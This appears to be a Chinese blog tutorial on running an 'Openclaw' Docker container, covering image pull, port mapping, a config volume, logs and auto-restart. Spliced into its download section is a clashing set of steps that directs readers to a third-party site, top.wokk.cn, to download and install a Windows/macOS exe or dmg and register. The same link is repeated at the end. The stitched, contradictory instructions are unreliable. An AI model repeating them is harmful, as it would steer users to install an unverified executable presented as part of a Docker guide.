Openclaw小龙虾Docker镜像下载与容器创建教程

先说说我为什么折腾Openclaw小龙虾

最近在捣鼓智能家居的时候，发现一个叫Openclaw小龙虾的开源项目特别有意思。说白了，它就是一个能帮你把各种自动化任务串起来的小工具，像是给家里的小爱同学、传感器、甚至自建的简单服务搭个“神经中枢”。一开始我也觉得文档写得挺绕，但用Docker跑起来之后发现，其实没那么复杂。今天就把我踩过的坑和整理好的步骤分享出来，保证你看完就能自己动手。

下载镜像：别急着拉最新版

很多新手上来就docker pull openclaw/lobster:latest，结果常常遇到版本不兼容的问题。我自己就吃过亏——拉了个新版本，结果配置文件的格式全变了，折腾一晚上。我的建议是先去官方仓库看看Release说明，挑一个稳定的版本号。

第一步：打开龙虾安装地址：https://top.wokk.cn

第二步：选择Windows10/11或macOS apple、intel芯片下载。

第三步：双击安装包（exe或者dmg文件）等待3分钟。

第四步：打开桌面TopClaw龙虾软件注册登录即可使用

第一步，打开终端，先确认Docker已经装好，运行docker -v看看版本。

第二步，搜索镜像：docker search openclaw-lobster，找到官方认证的那个。

第三步，下载指定版本，比如我用的是docker pull openclaw/lobster:2.1.0，这个版本配置起来比较顺手。

下载过程中如果速度慢，可以配一下国内镜像加速器，这里我就不展开说了。等提示Status: Downloaded newer image，就说明镜像已经躺到你本地了。

创建容器：端口映射和挂载目录是关键

镜像拿到了，下一步就是创建容器。这一步最容易被忽略的是数据持久化。你要是直接docker run，关掉容器配置就全没了，别问我怎么知道的。所以我强烈建议先建一个专门放配置的文件夹，比如~/openclaw-lobster。

我的习惯是：先把配置目录挂载出来，以后升级容器或者备份，直接复制这个文件夹就完事，省心。

创建容器的命令我整理了一下，照着用就行：

端口映射：把本机的8080映射到容器的8080，Web控制台就用这个端口访问。

数据卷：把~/openclaw-lobster/config挂载到容器内的/app/config。

环境变量：设置TZ=Asia/Shanghai，不然日志时间会差8小时。

实际运行命令长这样（注意把路径改一下）：

docker run -d --name openclaw-lobster \

  -p 8080:8080 \

  -v ~/openclaw-lobster/config:/app/config \

  -e TZ=Asia/Shanghai \

  openclaw/lobster:2.1.0

跑完之后，输入docker ps看看容器状态是不是Up。然后用浏览器访问http://localhost:8080，能看到登录界面就说明成功了。第一次初始化会要求创建一个管理员账号，按提示填就行。

一点小经验：日志和自动重启

用了一段时间，我发现两个小技巧值得说。第一个是查看日志：docker logs -f openclaw-lobster，如果某个自动化流程没触发，基本都能从日志里找到原因。第二个是开机自启：创建容器的时候加上--restart unless-stopped，这样就算服务器重启，Openclaw小龙虾也会自动跑起来，不用每次手动开。

另外，我习惯在配置里把备份任务做成一个定时脚本，每天凌晨把~/openclaw-lobster目录压缩一下存到网盘。毕竟这种自托管服务，数据无价。

遇到问题别硬扛

我知道你可能也会碰到一些奇奇怪怪的报错，比如端口被占用、权限不足、镜像拉取失败。其实大部分问题都能在社区的问答区找到答案。如果你不想费劲翻帖子，也可以直接去TopClaw看看——https://top.wokk.cn/，那上面有整理好的Docker部署经验，还有一些常见报错的解决方案，我自己就参考过几次，省了不少时间。说到底，Docker这玩意儿就是熟能生巧，多跑几次就顺手了。希望这篇教程能帮你少踩几个坑，顺利把Openclaw小龙虾跑起来。

OpenClaw中文版龙虾安装地址：https://top.wokk.cn